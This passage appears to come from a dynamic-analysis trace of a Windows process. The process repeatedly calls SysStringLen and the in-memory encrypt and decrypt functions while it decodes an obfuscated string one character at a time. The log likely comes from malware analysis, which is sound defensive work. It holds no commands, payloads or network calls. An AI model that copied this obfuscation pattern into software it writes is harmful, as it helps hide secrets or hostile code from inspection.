(param_1="\x59\x687c\xcdca\x9876\x514f\xd154\x765\x3662\x17f1\x1bda\x3e43\x9a90\x5447\xabab\x3550\x7894") returned 0x10 [0135.877] SysStringLen (param_1="\x59\x687c\xcdca\x9876\x514f\xd154\x765\x3662\x17f1\x1bda\x3e43\x9a90\x5447\xabab\x3550\x7894") returned 0x10 [0135.877] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0135.877] SysStringLen (param_1="XENPTJN0xxol9엁䊞ڱ") returned 0x10 [0135.877] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0135.877] SysStringLen (param_1="\x59\x687c\xcdca\x9876\x514f\xd154\x765\x3662\x64db\xc7e2\x12c5\xe86c\x7432\xeb95\x830e\x33ba") returned 0x10 [0135.877] SysStringLen (param_1="\x59\x687c\xcdca\x9876\x514f\xd154\x765\x3662\x64db\xc7e2\x12c5\xe86c\x7432\xeb95\x830e\x33ba") returned 0x10 [0135.877] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0135.877] SysStringLen (param_1="XENPTJN0xxol9T䊞ڱ") returned 0x10 [0135.877] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0135.877] SysStringLen (param_1="\x59\x687c\xcdca\x9876\x514f\xd154\x765\x3662\x49d9\x45c0\x3968\x48e9\xbf51\xb01b\xa2ef\xd53") returned 0x10 [0135.877] SysStringLen (param_1="\x59\x687c\xcdca\x9876\x514f\xd154\x765\x3662\x49d9\x45c0\x3968\x48e9\xbf51\xb01b\xa2ef\xd53") returned 0x10 [0135.877] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0135.877] SysStringLen (param_1="XENPTJN0xxol9T9ڱ") returned 0x10 [0135.877] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0135.877] SysStringLen (param_1="\x59\x687c\xcdca\x9876\x514f\xd154\x765\x3662\x3939\x412f\x2915\x1c81\x4478\x4152\xc4c9\x2372") returned 0x10 [0135.877] SysStringLen (param_1="\x59\x687c\xcdca\x9876\x514f\xd154\x765\x3662\x3939\x412f\x2915\x1c81\x4478\x4152\xc4c9\x2372") returned 0x10 [0135.878] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0135.878] SysStringLen (param_1="XENPTJN0xxol9T9t") returned 0x10 [0135.878] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0135.878] SysStringLen (param_1="\x59\x687c\xcdca\x9876\x514f\xd154\x765\x3662\x42cb\xe15a\x54b2\x5b37\xf7f4\xa94d\xfe0b\xe6b8") returned 0x10 [0135.878] SysStringLen (param_1="\x59\x687c\xcdca\x9876\x514f\xd154\x765\x3662\x42cb\xe15a\x54b2\x5b37\xf7f4\xa94d\xfe0b\xe6b8") returned 0x10 [0135.878] SysStringLen (param_1="\x59\x687c\xcdca\x9876\x514f\xd154\x765\x3662\x42cb\xe15a\x54b2\x5b37\xf7f4\xa94d\xfe0b\xe6b8") returned 0x10 [0135.878] SysStringLen (param_1="\x59\x687c\xcdca\x9876\x514f\xd154\x765\x3662\x42cb\xe15a\x54b2\x5b37\xf7f4\xa94d\xfe0b\xe6b8") returned 0x18 [0135.878] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0135.878] SysStringLen (param_1="XENPTJN0xxol9T9tc⟺娱㌴뷘믰홫") returned 0x18 [0135.878] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0135.878] SysStringLen (param_1="\x59\x687c\xcdca\x9876\x514f\xd154\x765\x3662\x42cb\xe15a\x54b2\x5b37\xf7f4\xa94d\xfe0b\xe6b8\x2734\x4bfa\xc169\xc4f4\xbfe6\x88a3\x5993\x6412") returned 0x18 [0135.878] SysStringLen (param_1="\x59\x687c\xcdca\x9876\x514f\xd154\x765\x3662\x42cb\xe15a\x54b2\x5b37\xf7f4\xa94d\xfe0b\xe6b8\x2734\x4bfa\xc169\xc4f4\xbfe6\x88a3\x5993\x6412") returned 0x18 [0135.878] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0135.878] SysStringLen (param_1="XENPTJN0xxol9T9tcb⟺娱㌴뷘믰홫") returned 0x18 [0135.878] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0135.878] SysStringLen (param_1="\x59\x687c\xcdca\x9876\x514f\xd154\x765\x3662\x42cb\xe15a\x54b2\x5b37\xf7f4\xa94d\xfe0b\xe6b8\xe9a\x923d\x8c4e\xf8dc\xb5c4\xfea9\xdcb7\xcadf") returned 0x18 [0135.879] SysStringLen (param_1="\x59\x687c\xcdca\x9876\x514f\xd154\x765\x3662\x42cb\xe15a\x54b2\x5b37\xf7f4\xa94d\xfe0b\xe6b8\xe9a\x923d\x8c4e\xf8dc\xb5c4\xfea9\xdcb7\xcadf") returned 0x18 [0135.879] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0135.879] SysStringLen (param_1="XENPTJN0xxol9T9tcbv娱㌴뷘믰홫") returned 0x18 [0135.879] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0135.879] SysStringLen (param_1="\x59\x687c\xcdca\x9876\x514f\xd154\x765\x3662\x42cb\xe15a\x54b2\x5b37\xf7f4\xa94d\xfe0b\xe6b8\xe160\xf8bd\xa7ed\x19ee\x105\x764f\x930a\xeadb") returned 0x18 [0135.879] SysStringLen (param_1="\x59\x687c\xcdca\x9876\x514f\xd154\x765\x3662\x42cb\xe15a\x54b2\x5b37\xf7f4\xa94d\xfe0b\xe6b8\xe160\xf8bd\xa7ed\x19ee\x105\x764f\x930a\xeadb") returned 0x18 [0135.879] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0135.879] SysStringLen (param_1="XENPTJN0xxol9T9tcbvI㌴뷘믰홫") returned 0x18 [0135.879] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0135.879] SysStringLen (param_1="\x59\x687c\xcdca\x9876\x514f\xd154\x765\x3662\x42cb\xe15a\x54b2\x5b37\xf7f4\xa94d\xfe0b\xe6b8\x33d1\x8876\xfb03\xbf59\xa5bd\x192a\x29d4\x34b3") returned 0x18 [0135.879] SysStringLen (param_1="\x59\x687c\xcdca\x9876\x514f\xd154\x765\x3662\x42cb\xe15a\x54b2\x5b37\xf7f4\xa94d\xfe0b\xe6b8\x33d1\x8876\xfb03\xbf59\xa5bd\x192a\x29d4\x34b3") returned 0x18 [0135.879] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0135.879] SysStringLen (param_1="XENPTJN0xxol9T9tcbvI9뷘믰홫") returned 0x18 [0135.879] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0135.879] SysStringLen (param_1="\x59\x687c\xcdca\x9876\x514f\xd154\x765\x3662\x42cb\xe15a\x54b2\x5b37\xf7f4\xa94d\xfe0b\xe6b8\xeec6\x41d9\x49a\xde72\x783\xcc68\x3ce9\xab58") returned 0x18 [0135.879] SysStringLen (param_1="\x59\x687c\xcdca\x9876\x514f\xd154\x765\x3662\x42cb\xe15a\x54b2\x5b37\xf7f4\xa94d\xfe0b\xe6b8\xeec6\x41d9\x49a\xde72\x783\xcc68\x3ce9\xab58") returned 0x18 [0135.879] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0135.879] SysStringLen (param_1="XENPTJN0xxol9T9tcbvI9M믰홫") returned 0x18 [0135.879] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0135.880] SysStringLen (param_1="\x59\x687c\xcdca\x9876\x514f\xd154\x765\x3662\x42cb\xe15a\x54b2\x5b37\xf7f4\xa94d\xfe0b\xe6b8\xff1a\xe235\x4edb\x34c5\xb4c2\x7ec5\x3d4d\x3611") returned 0x18 [0135.880] SysStringLen (param_1="\x59\x687c\xcdca\x9876\x514f\xd154\x765\x3662\x42cb\xe15a\x54b2\x5b37\xf7f4\xa94d\xfe0b\xe6b8\xff1a\xe235\x4edb\x34c5\xb4c2\x7ec5\x3d4d\x3611") returned 0x18 [0135.880] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0135.880] SysStringLen (param_1="XENPTJN0xxol9T9tcbvI9Md홫") returned 0x18 [0135.880] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0135.880] SysStringLen (param_1="\x59\x687c\xcdca\x9876\x514f\xd154\x765\x3662\x42cb\xe15a\x54b2\x5b37\xf7f4\xa94d\xfe0b\xe6b8\xa2d0\xbcaf\x82d9\xfaa3\x7067\x87df\x81b4\xd0a9") returned 0x18 [0135.880] SysStringLen (param_1="\x59\x687c\xcdca\x9876\x514f\xd154\x765\x3662\x42cb\xe15a\x54b2\x5b37\xf7f4\xa94d\xfe0b\xe6b8\xa2d0\xbcaf\x82d9\xfaa3\x7067\x87df\x81b4\xd0a9") returned 0x18 [0135.880] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0135.880] SysStringLen (param_1="XENPTJN0xxol9T9tcbvI9Md/") returned 0x18 [0135.880] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0135.880] SysStringLen (param_1="\x59\x687c\xcdca\x9876\x514f\xd154\x765\x3662\x42cb\xe15a\x54b2\x5b37\xf7f4\xa94d\xfe0b\xe6b8\x1ee5\x39f5\x1278\x6b8f\x22d\xe73b\x7372\x7254") returned 0x18 [0135.880] SysStringLen (param_1="\x59\x687c\xcdca\x9876\x514f\xd154\x765\x3662\x42cb\xe15a\x54b2\x5b37\xf7f4\xa94d\xfe0b\xe6b8\x1ee5\x39f5\x1278\x6b8f\x22d\xe73b\x7372\x7254") returned 0x18 [0135.880] SysStringLen (param_1="\x59\x687c\xcdca\x9876\x514f\xd154\x765\x3662\x42cb\xe15a\x54b2\x5b37\xf7f4\xa94d\xfe0b\xe6b8\x1ee5\x39f5\x1278\x6b8f\x22d\xe73b\x7372\x7254") returned 0x18 [0135.880] SysStringLen (param_1="\x59\x687c\xcdca\x9876\x514f\xd154\x765\x3662\x42cb\xe15a\x54b2\x5b37\xf7f4\xa94d\xfe0b\xe6b8\x1ee5\x39f5\x1278\x6b8f\x22d\xe73b\x7372\x7254") returned 0x20 [0135.880] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0135.880] SysStringLen (param_1="XENPTJN0xxol9T9tcbvI9Md/l㧟愰檉웭㚉䊇") returned 0x20 [0135.880] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0135.881] SysStringLen (param_1="\x59\x687c\xcdca\x9876\x514f\xd154\x765\x3662\x42cb\xe15a\x54b2\x5b37\xf7f4\xa94d\xfe0b\xe6b8\x1ee5\x39f5\x1278\x6b8f\x22d\xe73b\x7372\x7254\x91f3\x1c9e\x166b\x465f\xd4c4\x8c0a\x9162\x3ab3") returned 0x20 [0135.881] SysStringLen (param_1="\x59\x687c\xcdca\x9876\x514f\xd154\x765\x3662\x42cb\xe15a\x54b2\x5b37\xf7f4\xa94d\xfe0b\xe6b8\x1ee5\x39f5\x1278\x6b8f\x22d\xe73b\x7372\x7254\x91f3\x1c9e\x166b\x465f\xd4c4\x8c0a\x9162\x3ab3") returned 0x20 [0135.881] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0135.881] SysStringLen (param_1="XENPTJN0xxol9T9tcbvI9Md/lf愰檉웭㚉䊇") returned 0x20 [0135.881] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0135.881] SysStringLen (param_1="\x59\x687c\xcdca\x9876\x514f\xd154\x765\x3662\x42cb\xe15a\x54b2\x5b37\xf7f4\xa94d\xfe0b\xe6b8\x1ee5\x39f5\x1278\x6b8f\x22d\xe73b\x7372\x7254\xd753\x375a\x209\xa371\xdf82\xa565\x22b9\x95b5") returned 0x20 [0135.881] SysStringLen (param_1="\x59\x687c\xcdca\x9876\x514f\xd154\x765\x3662\x42cb\xe15a\x54b2\x5b37\xf7f4\xa94d\xfe0b\xe6b8\x1ee5\x39f5\x1278\x6b8f\x22d\xe73b\x7372\x7254\xd753\x375a\x209\xa371\xdf82\xa565\x22b9\x95b5") returned 0x20 [0135.881] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0135.881] SysStringLen (param_1="XENPTJN0xxol9T9tcbvI9Md/lfY檉웭㚉䊇") returned 0x20 [0135.881] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0135.881] SysStringLen (param_1="\x59\x687c\xcdca\x9876\x514f\xd154\x765\x3662\x42cb\xe15a\x54b2\x5b37\xf7f4\xa94d\xfe0b\xe6b8\x1ee5\x39f5\x1278\x6b8f\x22d\xe73b\x7372\x7254\x5b89\xb659\xe2dd\x4284\xcfb9\x208b\xe255\xc266") returned 0x20 [0135.881] SysStringLen (param_1="\x59\x687c\xcdca\x9876\x514f\xd154\x765\x3662\x42cb\xe15a\x54b2\x5b37\xf7f4\xa94d\xfe0b\xe6b8\x1ee5\x39f5\x1278\x6b8f\x22d\xe73b\x7372\x7254\x5b89\xb659\xe2dd\x4284\xcfb9\x208b\xe255\xc266") returned 0x20 [0135.881] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0135.881] SysStringLen (param_1="XENPTJN0xxol9T9tcbvI9Md/lfYP웭㚉䊇") returned 0x20 [0135.881] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0135.881] SysStringLen (param_1="\x59\x687c\xcdca\x9876\x514f\xd154\x765\x3662\x42cb\xe15a\x54b2\x5b37\xf7f4\xa94d\xfe0b\xe6b8\x1ee5\x39f5\x1278\x6b8f\x22d\xe73b\x7372\x7254\x2ef4\x1965\x71f\x6df\xbf74\x1167\x918c\xa7d4") returned 0x20 [0135.881] SysStringLen (param_1="\x59\x687c\xcdca\x9876\x514f\xd154\x765\x3662\x42cb\xe15a\x54b2\x5b37\xf7f4\xa94d\xfe0b\xe6b8\x1ee5\x39f5\x1278\x6b8f\x22d\xe73b\x7372\x7254\x2ef4\x1965\x71f\x6df\xbf74\x1167\x918c\xa7d4") returned 0x20 [0135.881] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0135.882] SysStringLen (param_1="XENPTJN0xxol9T9tcbvI9Md/lfYPe㚉䊇") returned 0x20 [0135.882] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0135.882] SysStringLen (param_1="\x59\x687c\xcdca\x9876\x514f\xd154\x765\x3662\x42cb\xe15a\x54b2\x5b37\xf7f4\xa94d\xfe0b\xe6b8\x1ee5\x39f5\x1278\x6b8f\x22d\xe73b\x7372\x7254\x108\x978a\xdc3\x10df\x7d06\x3594\x9a77\x6f44") returned 0x20 [0135.882] SysStringLen (param_1="\x59\x687c\xcdca\x9876\x514f\xd154\x765\x3662\x42cb\xe15a\x54b2\x5b37\xf7f4\xa94d\xfe0b\xe6b8\x1ee5\x39f5\x1278\x6b8f\x22d\xe73b\x7372\x7254\x108\x978a\xdc3\x10df\x7d06\x3594\x9a77\x6f44") returned 0x20 [0135.882] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0135.882] SysStringLen (param_1="XENPTJN0xxol9T9tcbvI9Md/lfYPe6㚉䊇") returned 0x20 [0135.882] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0135.882] SysStringLen (param_1="\x59\x687c\xcdca\x9876\x514f\xd154\x765\x3662\x42cb\xe15a\x54b2\x5b37\xf7f4\xa94d\xfe0b\xe6b8\x1ee5\x39f5\x1278\x6b8f\x22d\xe73b\x7372\x7254\x5349\xcb5a\x7301\xe370\x8abc\xbf7e\x9cae\x35b2") returned 0x20 [0135.882] SysStringLen (param_1="\x59\x687c\xcdca\x9876\x514f\xd154\x765\x3662\x42cb\xe15a\x54b2\x5b37\xf7f4\xa94d\xfe0b\xe6b8\x1ee5\x39f5\x1278\x6b8f\x22d\xe73b\x7372\x7254\x5349\xcb5a\x7301\xe370\x8abc\xbf7e\x9cae\x35b2") returned 0x20 [0135.882] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0135.882] SysStringLen (param_1="XENPTJN0xxol9T9tcbvI9Md/lfYPe63䊇") returned 0x20 [0135.882] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0135.882] SysStringLen (param_1="\x59\x687c\xcdca\x9876\x514f\xd154\x765\x3662\x42cb\xe15a\x54b2\x5b37\xf7f4\xa94d\xfe0b\xe6b8\x1ee5\x39f5\x1278\x6b8f\x22d\xe73b\x7372\x7254\x5253\x4565\x9740\xf2ed\x5f60\x15ec\x3db3\xf359") returned 0x20 [0135.882] SysStringLen (param_1="\x59\x687c\xcdca\x9876\x514f\xd154\x765\x3662\x42cb\xe15a\x54b2\x5b37\xf7f4\xa94d\xfe0b\xe6b8\x1ee5\x39f5\x1278\x6b8f\x22d\xe73b\x7372\x7254\x5253\x4565\x9740\xf2ed\x5f60\x15ec\x3db3\xf359") returned 0x20 [0135.882] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0135.882] SysStringLen (param_1="XENPTJN0xxol9T9tcbvI9Md/lfYPe63X") returned 0x20 [0135.882] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0135.882] SysStringLen (param_1="\x59\x687c\xcdca\x9876\x514f\xd154\x765\x3662\x42cb\xe15a\x54b2\x5b37\xf7f4\xa94d\xfe0b\xe6b8\x1ee5\x39f5\x1278\x6b8f\x22d\xe73b\x7372\x7254\x789a\xde0\x1463\xc9ed\xd142\x94bc\x5d59\x6eee") returned 0x20 [0135.883] SysStringLen (param_1="\x59\x687c\xcdca\x9876\x514f\xd154\x765\x3662\x42cb\xe15a\x54b2\x5b37\xf7f4\xa94d\xfe0b\xe6b8\x1ee5\x39f5\x1278\x6b8f\x22d\xe73b\x7372\x7254\x789a\xde0\x1463\xc9ed\xd142\x94bc\x5d59\x6eee") returned 0x20 [0135.883] SysStringLen (param_1="\x59\x687c\xcdca\x9876\x514f\xd154\x765\x3662\x42cb\xe15a\x54b2\x5b37\xf7f4\xa94d\xfe0b\xe6b8\x1ee5\x39f5\x1278\x6b8f\x22d\xe73b\x7372\x7254\x789a\xde0\x1463\xc9ed\xd142\x94bc\x5d59\x6eee") returned 0x20 [0135.883] SysStringLen (param_1="\x59\x687c\xcdca\x9876\x514f\xd154\x765\x3662\x42cb\xe15a\x54b2\x5b37\xf7f4\xa94d\xfe0b\xe6b8\x1ee5\x39f5\x1278\x6b8f\x22d\xe73b\x7372\x7254\x789a\xde0\x1463\xc9ed\xd142\x94bc\x5d59\x6eee\x1baf") returned 0x28 [0135.883] SystemFunction041 (in: Memory=0x4383e64, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383e64) returned 0x0 [0135.883] SysStringLen (param_1="XENPTJN0xxol9T9tcbvI9Md/lfYPe63XI鎼囥࿎콑㛲ẝ宣") returned 0x28 [0135.883] SystemFunction040 (in: Memory=0x4383e64, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383e64) returned 0x0 [0135.883] SysStringLen (param_1="\x59\x687c\xcdca\x9876\x514f\xd154\x765\x3662\x42cb\xe15a\x54b2\x5b37\xf7f4\xa94d\xfe0b\xe6b8\x1ee5\x39f5\x1278\x6b8f\x22d\xe73b\x7372\x7254\x789a\xde0\x1463\xc9ed\xd142\x94bc\x5d59\x6eee\x1d7f\xe082\x1e40\x5617\xfc4b\x5c21\x9f1f\x6a1e") returned 0x28 [0135.883] SysStringLen (param_1="\x59\x687c\xcdca\x9876\x514f\xd154\x765\x3662\x42cb\xe15a\x54b2\x5b37\xf7f4\xa94d\xfe0b\xe6b8\x1ee5\x39f5\x1278\x6b8f\x22d\xe73b\x7372\x7254\x789a\xde0\x1463\xc9ed\xd142\x94bc\x5d59\x6eee\x1d7f\xe082\x1e40\x5617\xfc4b\x5c21\x9f1f\x6a1e") returned 0x28 [0135.883] SystemFunction041 (in: Memory=0x4383e64, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383e64) returned 0x0 [0135.883] SysStringLen (param_1="XENPTJN0xxol9T9tcbvI9Md/lfYPe63XIb囥࿎콑㛲ẝ宣") returned 0x28 [0135.883] SystemFunction040 (in: Memory=0x4383e64, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383e64) returned 0x0 [0135.883] SysStringLen (param_1="\x59\x687c\xcdca\x9876\x514f\xd154\x765\x3662\x42cb\xe15a\x54b2\x5b37\xf7f4\xa94d\xfe0b\xe6b8\x1ee5\x39f5\x1278\x6b8f\x22d\xe73b\x7372\x7254\x789a\xde0\x1463\xc9ed\xd142\x94bc\x5d59\x6eee\x9843\x35ac\x79cf\x364b\x92c5\xd17d\x55a8\xa0f3") returned 0x28 [0135.883] SysStringLen (param_1="\x59\x687c\xcdca\x9876\x514f\xd154\x765\x3662\x42cb\xe15a\x54b2\x5b37\xf7f4\xa94d\xfe0b\xe6b8\x1ee5\x39f5\x1278\x6b8f\x22d\xe73b\x7372\x7254\x789a\xde0\x1463\xc9ed\xd142\x94bc\x5d59\x6eee\x9843\x35ac\x79cf\x364b\x92c5\xd17d\x55a8\xa0f3") returned 0x28 [0135.883] SystemFunction041 (in: Memory=0x4383e64, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383e64) returned 0x0 [0135.883] SysStringLen (param_1="XENPTJN0xxol9T9tcbvI9Md/lfYPe63XIbW࿎콑㛲ẝ宣") returned 0x28 [0135.883] SystemFunction040 (in: Memory=0x4383e64, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383e64) returned 0x0 [0135.883] SysStringLen (param_1="\x59\x687c\xcdca\x9876\x514f\xd154\x765\x3662\x42cb\xe15a\x54b2\x5b37\xf7f4\xa94d\xfe0b\xe6b8\x1ee5\x39f5\x1278\x6b8f\x22d\xe73b\x7372\x7254\x789a\xde0\x1463\xc9ed\xd142\x94bc\x5d59\x6eee\x5c29\xffc6\xf04a\x9e5a\xa60f\x3236\x3901\xe56d") returned 0x28 [0135.883] SysStringLen (param_1="\x59\x687c\xcdca\x9876\x514f\xd154\x765\x3662\x42cb\xe15a\x54b2\x5b37\xf7f4\xa94d\xfe0b\xe6b8\x1ee5\x39f5\x1278\x6b8f\x22d\xe73b\x7372\x7254\x789a\xde0\x1463\xc9ed\xd142\x94bc\x5d59\x6eee\x5c29\xffc6\xf04a\x9e5a\xa60f\x3236\x3901\xe56d") returned 0x28 [0135.883] SystemFunction041 (in: Memory=0x4383e64, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383e64) returned 0x0 [0135.884] SysStringLen (param_1="XENPTJN0xxol9T9tcbvI9Md/lfYPe63XIbWE콑㛲ẝ宣") returned 0x28 [0135.884] SystemFunction040 (in: Memory=0x4383e64, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383e64) returned 0x0 [0135.884] SysStringLen (param_1="\x59\x687c\xcdca\x9876\x514f\xd154\x765\x3662\x42cb\xe15a\x54b2\x5b37\xf7f4\xa94d\xfe0b\xe6b8\x1ee5\x39f5\x1278\x6b8f\x22d\xe73b\x7372\x7254\x789a\xde0\x1463\xc9ed\xd142\x94bc\x5d59\x6eee\x2491\x8e71\xd5b0\xf04d\x1d72\x7965\xadfd\x3be0") returned 0x28 [0135.884] SysStringLen (param_1="\x59\x687c\xcdca\x9876\x514f\xd154\x765\x3662\x42cb\xe15a\x54b2\x5b37\xf7f4\xa94d\xfe0b\xe6b8\x1ee5\x39f5\x1278\x6b8f\x22d\xe73b\x7372\x7254\x789a\xde0\x1463\xc9ed\xd142\x94bc\x5d59\x6eee\x2491\x8e71\xd5b0\xf04d\x1d72\x7965\xadfd\x3be0") returned 0x28 [0135.884] SystemFunction041 (in: Memory=0x4383e64, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383e64) returned 0x0 [0135.884] SysStringLen (param_1="XENPTJN0xxol9T9tcbvI9Md/lfYPe63XIbWEr㛲ẝ宣") returned 0x28 [0135.884] SystemFunction040 (in: Memory=0x4383e64, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383e64) returned 0x0 [0135.884] SysStringLen (param_1="\x59\x687c\xcdca\x9876\x514f\xd154\x765\x3662\x42cb\xe15a\x54b2\x5b37\xf7f4\xa94d\xfe0b\xe6b8\x1ee5\x39f5\x1278\x6b8f\x22d\xe73b\x7372\x7254\x789a\xde0\x1463\xc9ed\xd142\x94bc\x5d59\x6eee\x75a4\xbd9d\xfdb8\xbaad\x101e\x5e3b\x244c\x5a95") returned 0x28 [0135.884] SysStringLen (param_1="\x59\x687c\xcdca\x9876\x514f\xd154\x765\x3662\x42cb\xe15a\x54b2\x5b37\xf7f4\xa94d\xfe0b\xe6b8\x1ee5\x39f5\x1278\x6b8f\x22d\xe73b\x7372\x7254\x789a\xde0\x1463\xc9ed\xd142\x94bc\x5d59\x6eee\x75a4\xbd9d\xfdb8\xbaad\x101e\x5e3b\x244c\x5a95") returned 0x28 [0135.884] SystemFunction041 (in: Memory=0x4383e64, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383e64) returned 0x0 [0135.884] SysStringLen (param_1="XENPTJN0xxol9T9tcbvI9Md/lfYPe63XIbWErDẝ宣") returned 0x28 [0135.884] SystemFunction040 (in: Memory=0x4383e64, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383e64) returned 0x0 [0135.884] SysStringLen (param_1="\x59\x687c\xcdca\x9876\x514f\xd154\x765\x3662\x42cb\xe15a\x54b2\x5b37\xf7f4\xa94d\xfe0b\xe6b8\x1ee5\x39f5\x1278\x6b8f\x22d\xe73b\x7372\x7254\x789a\xde0\x1463\xc9ed\xd142\x94bc\x5d59\x6eee\x2bec\xe9b3\xc6ec\xf476\x6763\x2a6c\x96b1\xfe4a") returned 0x28 [0135.884] SysStringLen (param_1="\x59\x687c\xcdca\x9876\x514f\xd154\x765\x3662\x42cb\xe15a\x54b2\x5b37\xf7f4\xa94d\xfe0b\xe6b8\x1ee5\x39f5\x1278\x6b8f\x22d\xe73b\x7372\x7254\x789a\xde0\x1463\xc9ed\xd142\x94bc\x5d59\x6eee\x2bec\xe9b3\xc6ec\xf476\x6763\x2a6c\x96b1\xfe4a") returned 0x28 [0135.884] SystemFunction041 (in: Memory=0x4383e64, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383e64) returned 0x0 [0135.884] SysStringLen (param_1="XENPTJN0xxol9T9tcbvI9Md/lfYPe63XIbWErDD宣") returned 0x28 [0135.884] SystemFunction040 (in: Memory=0x4383e64, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383e64) returned 0x0 [0135.885] SysStringLen (param_1="\x59\x687c\xcdca\x9876\x514f\xd154\x765\x3662\x42cb\xe15a\x54b2\x5b37\xf7f4\xa94d\xfe0b\xe6b8\x1ee5\x39f5\x1278\x6b8f\x22d\xe73b\x7372\x7254\x789a\xde0\x1463\xc9ed\xd142\x94bc\x5d59\x6eee\x4903\x2d76\xc1c0\x18b4\x80ba\x8de9\xfee3\xd53e") returned 0x28 [0135.885] SysStringLen 